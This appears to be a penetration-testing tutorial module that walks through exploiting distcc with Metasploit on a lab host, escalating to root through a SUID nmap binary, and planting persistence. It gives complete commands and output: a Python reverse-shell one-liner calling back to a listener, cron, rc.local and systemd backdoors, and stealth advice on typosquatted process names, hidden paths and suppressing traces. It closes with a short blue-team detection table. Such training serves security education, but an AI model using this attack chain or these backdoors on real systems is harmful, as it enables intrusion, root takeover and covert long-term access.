# 🟥 Exploiting Vulnerabilities with Metasploit

---

## 🧰 What is Metasploit?

**Metasploit** is the most widely used penetration testing framework in the world. It gives security professionals a structured, repeatable way to simulate real-world attacks — finding weaknesses before malicious actors do.

At its core, Metasploit is a **library of pre-built exploits** paired with a powerful console interface. Each exploit targets a known vulnerability; each **payload** defines what happens after the exploit lands — open a shell, execute a command, establish persistence.

### ⚙️ What Metasploit Can Do

| 🎯 Capability | 📝 Description |
|-------------|--------------|
| 🐛 **Exploit vulnerabilities** | Hundreds of modules for known CVEs across every major platform |
| 🐚 **Deliver payloads** | Reverse shells, bind shells, Meterpreter sessions |
| 🔍 **Auxiliary modules** | Scanning, enumeration, brute-force — without exploitation |
| 📋 **Post-exploitation** | Privilege escalation, credential harvesting, pivoting |
| 🧪 **Security research & training** | Safe, reproducible attack simulation |

### 🔄 The Basic Workflow

```
1. 🔎  Search for an exploit matching your target service
2. ⚙️  Configure the module (target IP, local IP, payload)
3. 🚀  Run the exploit
4. 🐚  Work with the resulting shell or session
```

> ⚖️ **Legality reminder:** Metasploit is a legitimate professional tool. Using it against systems you don't own or haven't been authorized to test is illegal. See `6_Disclaimer.md`.

---

## 1. 🔎 Finding and Launching an Exploit

We're going back to the **distcc** service from the previous module — but this time, instead of a single-shot Nmap script, we'll use Metasploit to get a proper interactive shell.

Launch the Metasploit console and search for the distcc module:

```bash
msfconsole -q
msf > search distcc

Matching Modules
================

   #  Name                           Disclosure Date  Rank       Check  Description
   -  ----                           ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC Daemon Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec
```

> 🟢 **Rank: excellent** — Metasploit's own confidence rating. This exploit is reliable, stable, and well-tested.

Select the module and configure it:

```bash
use 0
set RHOSTS 192.168.100.30    # Target coordinates
set LHOST 192.168.100.10     # Command center location
set payload cmd/unix/reverse_perl  # Communication channel
```

Inspect and validate your configuration before firing:

```bash
show options
show payloads
```

Launch the exploit:

```bash
exploit
```

> 👤 We land as the `daemon` user — powerful enough to explore, but not yet powerful enough to rule. Time to escalate.

---

## 2. ⬆️ Privilege Escalation

### 2.1 🔧 Shell Fortification

The shell we get from a remote exploit is typically raw and limited — no tab completion, no arrow keys, no `Ctrl+C`, and some tools refuse to run without a proper terminal. The first thing we do is **upgrade it to a full PTY session**:

```bash
python -c 'import pty; pty.spawn("/bin/bash")'
```

This spawns a **pseudo-terminal (PTY)** that behaves like a real interactive shell. Why this matters:

| Without PTY shell | With PTY shell |
|-------------------|----------------|
| ❌ No tab completion | ✅ Full tab completion |
| ❌ Arrow keys don't work | ✅ Command history navigation |
| ❌ `su`, `passwd`, `nano` may break | ✅ All interactive programs work |
| ❌ `Ctrl+C` kills the session | ✅ Proper signal handling |
| ❌ Awkward post-exploitation | ✅ Smooth and efficient workflow |

---

### 2.2 🔍 Hunting for Escalation Vectors — SUID Binaries

The classic Linux privilege escalation starting point: find every binary with the **SUID bit** set. SUID means the file runs with its *owner's* privileges (usually root) regardless of who executes it. If any of those binaries can be abused, we have our path to root.

```bash
find / -perm -u=s -type f 2>/dev/null
```

```bash
bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
```

Most of these are expected — `su`, `passwd`, `sudo` legitimately need elevated execution. But a few stand out immediately:

| ⚠️ Binary | 🔴 Why It's Interesting |
|----------|------------------------|
| `/usr/bin/nmap` | Old versions have an interactive mode that can spawn a shell — as root |
| `/usr/lib/pt_chown` | Can be abused to manipulate terminal ownership |
| `/usr/bin/at` | Job scheduler with known escalation techniques |
| `/usr/bin/newgrp` | Can be leveraged under certain configurations |

> 🎯 The golden rule: any **non-standard** or **outdated** SUID binary is a potential escalation vector. Check every unusual one against [GTFOBins](https://gtfobins.org).

---

### 2.3 🏆 Escalating with GTFOBins

> **GTFOBins** is a curated list of Unix binaries that can be abused to bypass local security restrictions in misconfigured systems.
> It documents legitimate functions that can be leveraged for: shell escapes, privilege escalation, file transfers, and reverse shells.
> 🔗 [https://gtfobins.org](https://gtfobins.org)

Our target has **Nmap with SUID** — and GTFOBins documents exactly how to abuse it:
🔗 [https://gtfobins.org/gtfobins/nmap/#shell](https://gtfobins.org/gtfobins/nmap/#shell)

Old versions of Nmap ship with an `--interactive` mode that drops directly into a shell. Since the binary runs as root thanks to SUID, so does the shell it spawns:

```bash
msf exploit(unix/misc/distcc_exec) > exploit
[*] Started reverse TCP handler on 192.168.100.10:4444
[*] Command shell session 1 opened (192.168.100.10:4444 -> 192.168.100.30:35645) at 2026-04-07 10:36:41 +0200

whoami
daemon

nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root
```

> 🎉 **Root.** We went from an unauthenticated network daemon (`distcc`) to full system ownership in a handful of steps.

---

## 3. 🪝 Persistence

Relying on Metasploit every time we need access is impractical for three reasons:

- 📢 **It's noisy** — repeated exploit traffic is detectable
- 🩹 **It may get patched** — the vulnerability could be fixed
- 🔄 **Reboots break sessions** — a restart wipes our foothold

The solution: **persistence** — a mechanism that re-establishes our access automatically, even after reboots.

---

### 🛠️ Persistence Techniques on Linux

#### 1. ⏰ Cron Jobs (`@reboot`)

The `@reboot` cron directive runs a script once every time the system starts. Plant a reverse shell here and you'll get called back on every reboot:

```bash
# Edit crontab for the relevant user
EDITOR=vi crontab -e

# Add this line to the file (adjust path as needed)
@reboot /home/msfadmin/postgress.sh
```

#### 2. 📜 System Startup Scripts

Appending to `/etc/rc.local` (if enabled) ensures execution at boot on older systems:

```bash
echo "/home/msfadmin/postgress.sh &" >> /etc/rc.local
chmod +x /etc/rc.local
```

> 📌 Modern systems use `systemd` instead of `rc.local`. Adapt accordingly.

#### 3. ⚙️ Systemd Services

Create a custom service that masquerades as a legitimate system process:

```bash
# /etc/systemd/system/postgress.service
[Unit]
Description=Postgress persistence backdoor
After=network.target

[Service]
Type=simple
ExecStart=/home/msfadmin/postgress.sh

[Install]
WantedBy=multi-user.target
```

Then enable and start it:

```bash
systemctl daemon-reload
systemctl enable postgress
systemctl start postgress
```

---

### 🔁 Full Example: Crontab Reverse Shell Persistence

Here's the complete end-to-end setup.

**On the Kali machine**, start a listener and wait for the callback:

```bash
nc -nlvp 1337
```

**On the target machine**, first enumerate running processes to choose a convincing name for the backdoor:

```bash
ps -e
```

> 🎭 **Typosquatting for stealth:** pick a name nearly identical to a real system process. `postgres` is running → we name our script `postgress` (double `s`). Casual inspection won't catch it.

Create the reverse shell script:

```bash
vim postgres.sh
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.100.10",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh"])'
```

(exit with `ESC` then `:wq`)

Make it executable:

```bash
chmod +x postgress.sh
```

Register it to run on every reboot via crontab:

```bash
EDITOR=vi crontab -e
```

Add the line:

```bash
@reboot /home/msfadmin/postgress.sh
```

Save and exit. From this point on, every time the target reboots, it calls home.

---

### 🥷 Stealth Tips

- 📁 **Location:** store backdoors in inconspicuous paths — `/var/tmp/`, `/dev/shm/`, or inside user home directories
- 🏷️ **Naming:** mirror real system process names with subtle typos (`postgress`, `sysupdate`, `crond_`)
- 🔇 **Silence:** redirect output to `/dev/null` in scripts to avoid leaving traces in logs

---

### 🔵 Blue Team Defensive Note

Defenders should treat the following as **immediate red flags**:

| 🚨 Indicator | 🔍 Where to Look |
|-------------|----------------|
| Unexpected `@reboot` cron entries | `crontab -l` for all users; `/var/spool/cron/` |
| Unknown scripts in `/var/tmp/` or `/dev/shm/` | File integrity monitoring (FIM) |
| New or unfamiliar systemd services | `systemctl list-units --type=service` |
| Processes with suspicious near-legitimate names | `ps aux` — look for typosquatted names |
| Unexpected outbound connections on reboot | Network flow monitoring |

---

## 📚 Resources

- 🏆 **GTFOBins** — SUID and capability abuse: [https://gtfobins.org](https://gtfobins.org)
- 🗺️ **MITRE ATT&CK — Persistence (TA0003):** [https://attack.mitre.org/tactics/TA0003/](https://attack.mitre.org/tactics/TA0003/)
